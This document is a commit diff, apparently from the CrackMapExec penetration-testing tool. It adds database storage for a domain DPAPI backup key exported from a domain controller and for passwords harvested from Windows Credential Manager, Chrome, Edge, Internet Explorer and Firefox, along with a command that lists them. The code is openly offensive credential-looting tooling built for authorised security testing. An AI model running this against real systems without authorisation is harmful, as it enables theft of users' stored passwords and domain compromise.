commit
d9fffd39ec
|
@ -1180,6 +1180,7 @@ class smb(connection):
|
||||||
if self.args.pvk is not None:
|
if self.args.pvk is not None:
|
||||||
try:
|
try:
|
||||||
self.pvkbytes = open(self.args.pvk, 'rb').read()
|
self.pvkbytes = open(self.args.pvk, 'rb').read()
|
||||||
|
self.logger.success("Loading domain backupkey from {}".format(self.args.pvk))
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.error(str(e))
|
logging.error(str(e))
|
||||||
|
|
||||||
|
@ -1192,30 +1193,40 @@ class smb(connection):
|
||||||
|
|
||||||
if self.pvkbytes is None and self.no_da == None and self.args.local_auth == False:
|
if self.pvkbytes is None and self.no_da == None and self.args.local_auth == False:
|
||||||
try:
|
try:
|
||||||
dc_target = Target.create(
|
results = self.db.get_domain_backupkey(self.domain)
|
||||||
domain = self.domain,
|
except:
|
||||||
username = self.username,
|
self.logger.error("Your version of CMEDB is not up to date, run cmedb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||||
password = self.password,
|
return False
|
||||||
target = self.domain,
|
if len(results) > 0:
|
||||||
lmhash = self.lmhash,
|
self.logger.success("Loading domain backupkey from cmedb...")
|
||||||
nthash = self.nthash,
|
self.pvkbytes = results[0][2]
|
||||||
do_kerberos = self.kerberos,
|
else:
|
||||||
aesKey = self.aesKey,
|
try:
|
||||||
no_pass = True,
|
dc_target = Target.create(
|
||||||
use_kcache = self.use_kcache,
|
domain = self.domain,
|
||||||
)
|
username = self.username,
|
||||||
dc_conn = DPLootSMBConnection(dc_target)
|
password = self.password,
|
||||||
dc_conn.connect() # Connect to DC
|
target = self.domain,
|
||||||
if dc_conn.is_admin():
|
lmhash = self.lmhash,
|
||||||
self.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
nthash = self.nthash,
|
||||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
do_kerberos = self.kerberos,
|
||||||
backupkey = backupkey_triage.triage_backupkey()
|
aesKey = self.aesKey,
|
||||||
self.pvkbytes = backupkey.backupkey_v2
|
no_pass = True,
|
||||||
else:
|
use_kcache = self.use_kcache,
|
||||||
self.no_da = False
|
)
|
||||||
except Exception as e:
|
dc_conn = DPLootSMBConnection(dc_target)
|
||||||
self.logger.debug("Could not get domain backupkey: {}".format(e))
|
dc_conn.connect() # Connect to DC
|
||||||
pass
|
if dc_conn.is_admin():
|
||||||
|
self.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||||
|
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||||
|
backupkey = backupkey_triage.triage_backupkey()
|
||||||
|
self.pvkbytes = backupkey.backupkey_v2
|
||||||
|
self.db.add_domain_backupkey(self.domain, self.pvkbytes)
|
||||||
|
else:
|
||||||
|
self.no_da = False
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.debug("Could not get domain backupkey: {}".format(e))
|
||||||
|
pass
|
||||||
|
|
||||||
target = Target.create(
|
target = Target.create(
|
||||||
domain = self.domain,
|
domain = self.domain,
|
||||||
|
@ -1268,8 +1279,10 @@ class smb(connection):
|
||||||
self.logger.debug("Error while looting credentials: {}".format(e))
|
self.logger.debug("Error while looting credentials: {}".format(e))
|
||||||
for credential in credentials:
|
for credential in credentials:
|
||||||
self.logger.highlight("[%s][CREDENTIAL] %s - %s:%s" % (credential.winuser, credential.target, credential.username, credential.password))
|
self.logger.highlight("[%s][CREDENTIAL] %s - %s:%s" % (credential.winuser, credential.target, credential.username, credential.password))
|
||||||
|
self.db.add_dpapi_secrets(target.address, 'CREDENTIAL', credential.winuser, credential.username, credential.password, credential.target)
|
||||||
for credential in system_credentials:
|
for credential in system_credentials:
|
||||||
self.logger.highlight("[SYSTEM][CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
|
self.logger.highlight("[SYSTEM][CREDENTIAL] %s - %s:%s" % (credential.target, credential.username, credential.password))
|
||||||
|
self.db.add_dpapi_secrets(target.address, 'CREDENTIAL', 'SYSTEM', credential.username, credential.password, credential.target)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Collect Chrome Based Browser stored secrets
|
# Collect Chrome Based Browser stored secrets
|
||||||
|
@ -1280,6 +1293,8 @@ class smb(connection):
|
||||||
self.logger.debug("Error while looting browsers: {}".format(e))
|
self.logger.debug("Error while looting browsers: {}".format(e))
|
||||||
for credential in browser_credentials:
|
for credential in browser_credentials:
|
||||||
self.logger.highlight("[%s][%s] %s %s:%s" % (credential.winuser, credential.browser.upper(), credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
|
self.logger.highlight("[%s][%s] %s %s:%s" % (credential.winuser, credential.browser.upper(), credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
|
||||||
|
self.db.add_dpapi_secrets(target.address, credential.browser.upper(), credential.winuser, credential.username, credential.password, credential.url)
|
||||||
|
|
||||||
if dump_cookies:
|
if dump_cookies:
|
||||||
self.logger.info("Start Dumping Cookies")
|
self.logger.info("Start Dumping Cookies")
|
||||||
for cookie in cookies:
|
for cookie in cookies:
|
||||||
|
@ -1295,7 +1310,7 @@ class smb(connection):
|
||||||
for vault in vaults:
|
for vault in vaults:
|
||||||
if vault.type == 'Internet Explorer':
|
if vault.type == 'Internet Explorer':
|
||||||
self.logger.highlight("[%s][IEX] %s - %s:%s" % (vault.winuser, vault.resource+' -' if vault.resource!= '' else '-', vault.username, vault.password))
|
self.logger.highlight("[%s][IEX] %s - %s:%s" % (vault.winuser, vault.resource+' -' if vault.resource!= '' else '-', vault.username, vault.password))
|
||||||
|
self.db.add_dpapi_secrets(target.address, 'IEX', vault.winuser, vault.username, vault.password, vault.resource)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Collect Firefox stored secrets
|
# Collect Firefox stored secrets
|
||||||
|
@ -1305,7 +1320,7 @@ class smb(connection):
|
||||||
self.logger.debug("Error while looting firefox: {}".format(e))
|
self.logger.debug("Error while looting firefox: {}".format(e))
|
||||||
for credential in firefox_credentials:
|
for credential in firefox_credentials:
|
||||||
self.logger.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
|
self.logger.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url!= '' else '-', credential.username, credential.password))
|
||||||
|
self.db.add_dpapi_secrets(target.address, 'FIREFOX', credential.winuser, credential.username, credential.password, credential.url)
|
||||||
|
|
||||||
@requires_admin
|
@requires_admin
|
||||||
def lsa(self):
|
def lsa(self):
|
||||||
|
|
|
@ -76,6 +76,24 @@ class database:
|
||||||
UNIQUE(computerid, userid, name)
|
UNIQUE(computerid, userid, name)
|
||||||
)''')
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "dpapi_secrets" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"computer" text,
|
||||||
|
"dpapi_type" text,
|
||||||
|
"windows_user" text,
|
||||||
|
"username" text,
|
||||||
|
"password" text,
|
||||||
|
"url" text,
|
||||||
|
UNIQUE(computer, dpapi_type, windows_user, username, password, url)
|
||||||
|
)''')
|
||||||
|
|
||||||
|
db_conn.execute('''CREATE TABLE "dpapi_backupkey" (
|
||||||
|
"id" integer PRIMARY KEY,
|
||||||
|
"domain" text,
|
||||||
|
"pvk" text,
|
||||||
|
UNIQUE(domain)
|
||||||
|
)''')
|
||||||
|
|
||||||
#db_conn.execute('''CREATE TABLE "ntds_dumps" (
|
#db_conn.execute('''CREATE TABLE "ntds_dumps" (
|
||||||
# "id" integer PRIMARY KEY,
|
# "id" integer PRIMARY KEY,
|
||||||
# "computerid", integer,
|
# "computerid", integer,
|
||||||
|
@ -537,3 +555,89 @@ class database:
|
||||||
cur.close()
|
cur.close()
|
||||||
logging.debug('get_groups(filterTerm={}, groupName={}, groupDomain={}) => {}'.format(filterTerm, groupName, groupDomain, results))
|
logging.debug('get_groups(filterTerm={}, groupName={}, groupDomain={}) => {}'.format(filterTerm, groupName, groupDomain, results))
|
||||||
return results
|
return results
|
||||||
|
|
||||||
|
def add_domain_backupkey(self, domain:str, pvk:bytes):
|
||||||
|
"""
|
||||||
|
Add domain backupkey
|
||||||
|
:domain is the domain fqdn
|
||||||
|
:pvk is the domain backupkey
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
cur.execute("SELECT * FROM dpapi_backupkey WHERE LOWER(domain)=LOWER(?)", [domain])
|
||||||
|
results = cur.fetchall()
|
||||||
|
|
||||||
|
if not len(results):
|
||||||
|
import base64
|
||||||
|
pvk_encoded = base64.b64encode(pvk)
|
||||||
|
cur.execute("INSERT INTO dpapi_backupkey (domain, pvk) VALUES (?,?)", [domain, pvk_encoded])
|
||||||
|
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
logging.debug('add_domain_backupkey(domain={}, pvk={}) => {}'.format(domain, pvk_encoded, cur.lastrowid))
|
||||||
|
|
||||||
|
def get_domain_backupkey(self, domain:str = None):
|
||||||
|
"""
|
||||||
|
Get domain backupkey
|
||||||
|
:domain is the domain fqdn
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
|
||||||
|
if domain is not None:
|
||||||
|
cur.execute("SELECT * FROM dpapi_backupkey WHERE LOWER(domain)=LOWER(?)", [domain])
|
||||||
|
else:
|
||||||
|
cur.execute("SELECT * FROM dpapi_backupkey", [domain])
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
logging.debug('get_domain_backupkey(domain={}) => {}'.format(domain, results))
|
||||||
|
if len(results) >0:
|
||||||
|
import base64
|
||||||
|
results = [(idkey, domain, base64.b64decode(pvk)) for idkey, domain, pvk in results]
|
||||||
|
return results
|
||||||
|
|
||||||
|
def is_dpapi_secret_valid(self, dpapiSecretID):
|
||||||
|
"""
|
||||||
|
Check if this group ID is valid.
|
||||||
|
:dpapiSecretID is a primary id
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute('SELECT * FROM dpapi_secrets WHERE id=? LIMIT 1', [dpapiSecretID])
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
logging.debug('is_dpapi_secret_valid(groupID={}) => {}'.format(dpapiSecretID, True if len(results) else False))
|
||||||
|
return len(results) > 0
|
||||||
|
|
||||||
|
def add_dpapi_secrets(self, computer:str, dpapi_type:str, windows_user:str, username:str, password:str, url:str=''):
|
||||||
|
"""
|
||||||
|
Add dpapi secrets to cmedb
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
cur.execute("INSERT OR IGNORE INTO dpapi_secrets (computer, dpapi_type, windows_user, username, password, url) VALUES (?,?,?,?,?,?)", [computer, dpapi_type, windows_user, username, password, url])
|
||||||
|
cur.close()
|
||||||
|
|
||||||
|
logging.debug('add_dpapi_secrets(computer={}, dpapi_type={}, windows_user={}, username={}, password={}, url={}) => {}'.format(computer, dpapi_type, windows_user, username, password, url, cur.lastrowid))
|
||||||
|
|
||||||
|
def get_dpapi_secrets(self, filterTerm=None, computer:str=None, dpapi_type:str=None, windows_user:str=None, username:str=None, url:str=None):
|
||||||
|
"""
|
||||||
|
Get dpapi secrets from cmedb
|
||||||
|
"""
|
||||||
|
cur = self.conn.cursor()
|
||||||
|
if self.is_dpapi_secret_valid(filterTerm):
|
||||||
|
cur.execute("SELECT * FROM dpapi_secrets WHERE id=? LIMIT 1", [filterTerm])
|
||||||
|
elif computer:
|
||||||
|
cur.execute("SELECT * FROM dpapi_secrets WHERE computer=? LIMIT 1", [computer])
|
||||||
|
elif dpapi_type:
|
||||||
|
cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(dpapi_type)=LOWER(?)', [dpapi_type])
|
||||||
|
elif windows_user:
|
||||||
|
cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(windows_user) LIKE LOWER(?)', [windows_user])
|
||||||
|
elif username:
|
||||||
|
cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(windows_user) LIKE LOWER(?)', [username])
|
||||||
|
elif url:
|
||||||
|
cur.execute('SELECT * FROM dpapi_secrets WHERE LOWER(url)=LOWER(?)', [url])
|
||||||
|
else:
|
||||||
|
cur.execute("SELECT * FROM dpapi_secrets")
|
||||||
|
results = cur.fetchall()
|
||||||
|
cur.close()
|
||||||
|
logging.debug('get_dpapi_secrets(filterTerm={}, computer={}, dpapi_type={}, windows_user={}, username={}, url={}) => {}'.format(filterTerm, computer, dpapi_type, windows_user, username, url, results))
|
||||||
|
return results
|
|
@ -276,6 +276,52 @@ class navigator(DatabaseNavigator):
|
||||||
|
|
||||||
self.print_table(data, title='Credential(s) with Admin Access')
|
self.print_table(data, title='Credential(s) with Admin Access')
|
||||||
|
|
||||||
|
def do_dpapi(self, line):
|
||||||
|
filterTerm = line.strip()
|
||||||
|
|
||||||
|
if filterTerm == "":
|
||||||
|
secrets = self.db.get_dpapi_secrets()
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
elif filterTerm.split()[0].lower() == "browser":
|
||||||
|
secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE")
|
||||||
|
secrets += self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME")
|
||||||
|
secrets += self.db.get_dpapi_secrets(dpapi_type="IEX")
|
||||||
|
secrets += self.db.get_dpapi_secrets(dpapi_type="FIREFOX")
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
elif filterTerm.split()[0].lower() == "chrome":
|
||||||
|
secrets = self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME")
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
elif filterTerm.split()[0].lower() == "msedge":
|
||||||
|
secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE")
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
elif filterTerm.split()[0].lower() == "credentials":
|
||||||
|
secrets = self.db.get_dpapi_secrets(dpapi_type="CREDENTIAL")
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
elif filterTerm.split()[0].lower() == "iex":
|
||||||
|
secrets = self.db.get_dpapi_secrets(dpapi_type="IEX")
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
elif filterTerm.split()[0].lower() == "firefox":
|
||||||
|
secrets = self.db.get_dpapi_secrets(dpapi_type="FIREFOX")
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
else:
|
||||||
|
secrets = self.db.get_dpapi_secrets(filterTerm=filterTerm)
|
||||||
|
if len(secrets) > 0:
|
||||||
|
secrets.insert(0,["ID","Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"])
|
||||||
|
self.print_table(secrets, title='DPAPI Secrets')
|
||||||
|
|
||||||
def do_creds(self, line):
|
def do_creds(self, line):
|
||||||
|
|
||||||
filterTerm = line.strip()
|
filterTerm = line.strip()
|
||||||
|
|
|
@ -43,7 +43,7 @@ aioconsole = "^0.3.3"
|
||||||
pywerview = "^0.3.3"
|
pywerview = "^0.3.3"
|
||||||
minikerberos = "0.3.5"
|
minikerberos = "0.3.5"
|
||||||
aardwolf = "0.2.5"
|
aardwolf = "0.2.5"
|
||||||
dploot = "^2.1.14"
|
dploot = "^2.1.16"
|
||||||
bloodhound = "^1.6.1"
|
bloodhound = "^1.6.1"
|
||||||
asyauth = "^0.0.12"
|
asyauth = "^0.0.12"
|
||||||
masky = "^0.2.0"
|
masky = "^0.2.0"
|
||||||
|
|
Loading…
Reference in New Issue